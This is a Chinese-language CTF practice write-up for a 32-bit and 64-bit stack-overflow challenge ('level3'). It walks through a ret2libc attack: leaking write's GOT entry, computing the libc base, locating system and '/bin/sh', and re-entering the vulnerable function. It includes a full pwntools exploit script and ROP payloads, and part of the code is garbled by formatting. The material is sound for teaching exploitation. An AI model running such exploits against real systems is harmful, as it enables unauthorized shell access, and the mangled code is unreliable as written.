题目地址:请看pwn栈溢出基本练习-1 ;所有的练习题都放在这个博客上。 pwn3
该题详解
-
- 题目分析
- 利用本地libc打本通本地
- 调试计算溢出地址
- 得到system函数地址
- 计算system真实地址
- 找到/bin/sh地址
- 二次栈溢出
- 完全攻击代码
- 64位
-
- 调用64位和32位函数时的区别
- 栈构造图
题目分析
题目给了libc函数 先checksec 通过反编译,明显存在漏洞函数read()栈溢出 但这个问题的困难在于栈不能栈shellcode,而且不存在system但是给了函数libc,则可以通过libc找到system函数
libc装载内存时,基地址会发生变化,但函数偏移不会因为是整体装载而发生变化 tips:虽然给了这个题目libc,但是,如果你想玩本地游戏,你仍然需要使用本地游戏libc,否则会有问题
思路:通过write函数输出write真实地址,然后通过libc找到system调用真实地址system并将函数传入/bin/sh参数即可
利用本地libc打本通本地
利用lld level3本地使用的函数3可以查看函数libc 但该libc只是一个软连接,避免事故,找到真相libc最好,使用file libc文件即可 发现真实libc地址:/lib/i386-linux-gnu/libc-2.33.so
调试计算溢出地址
偏移地址为0x88 4
得到system函数地址
调用函数时,plt和got一般来说,表关系图got存储函数的真实地址 想法:可以基于现有的write函数地址和libc中的write可以计算函数libc基地址、基地址 system可以计算地址偏移system函数真实地址 因此我们要计算出函数运行时的write函数的真实地址只需输出got表中的write地址可以使用,可以使用write函数输出地址信息,溢出目的:调用write函数并输出write函数真实地址
ssize_t write(int fd,void*buf,size_t count)
fd: 是文件描述符,对应1 buf: 需要写入的数据通常是字符串; count: 字节数每次写入
payload = cyclic(0x88_4) p32(elf.plt["write"]) p32(elf.symbols["vulnerable_function"]) p32(1) p32(elf.got["write"]) p32(4) io.send(payload) io.recv()
压入vulnerable_function_addr地址是因为这个问题还没有解决,需要重复使用vulnerable_function里的read因此,我希望在执行后返回函数vulnerable_function
结果 这里输出字符串格式,使用u32()解码即可 write真实地址为0xf7e4ad50
计算system真实地址
找到/bin/sh地址
虽然题目中没有/bin/sh地址,但是libc存在,利用libc找到/bin/sh bin_sh = libc_base next(libc.search(b’/bin/sh’))
二次栈溢出
payload = cyclic(0x88 4) p32(system_addr) b’AAAA’ p32(bin_sh)
完全攻击代码
from pwn import * elf = ELF("./level3") libc = ELF("/lib/i386-linux-gnu/libc-2.33.so") io = process("./level3"
)
# 进行第一次栈溢出,并返回vulnerable函数 payload
= cyclic
(
0x88
+
4
)
+ p32
(elf
.plt
[
"write"
]
)
+ p32
(elf
.symbols
[
"vulnerable_function"
]
)
+p32
(
1
)
+p32
(elf
.got
[
"write"
]
)
+p32
(
4
) io
.send
(payload
) io
.recv
(
) write_addr
=
int
(
hex
(u32
(
b'P\xad\xe4\xf7'
)
)
,
16
) libc_base
= write_addr
- libc
.symbols
[
"write"
] system_addr
= libc_base
+ libc
.symbols
[
"system"
] bin_sh
= libc_base
+
next
(libc
.search
(
b'/bin/sh'
)
)
# 进行第二次栈溢出,进入sh payload
= cyclic
(
0x88
+
4
)
+p32
(system_addr
)
+
b'AAAA'
+ p32
(bin_sh
) io
.send
(payload
) io
.interactive
(
)
64位
64位与32位函数调用时的区别
x86:
- 使用栈传递参数
- 使用eax存返回值
注意x86参数是倒序存入栈的 amd64:
- 前6个参数依次存放于rdi,rsi,rdx,rcx,r8,r9寄存器中
- 后7个参数存放于栈中
注意寄存器是顺着放入,当存入栈时也是逆序放入,因为栈先进后出
栈构造图
由于64位参数放在寄存器中,前三个参数分别放置在rdi,rsi,rdx 先ROPgadget下看这三个寄存器是否能pop ret 发现存在rdi、rsi ,但不没有rdx,由于是write函数的三个参数,第三个参数是输出数据的长度,我们这想要其输出write函数的真实地址,因此第三个参数>8即可,因此rdx存的值>8就行,这就看运气了 第一次栈溢出的栈结构图:
payload = b'A'*(128+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got["write"]) + b'A'*8 + p64(elf.plt["write"]) + p64(elf.symbols["vulnerable_function"])
第二次栈溢出的结构图
payload = b'A'*(128+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)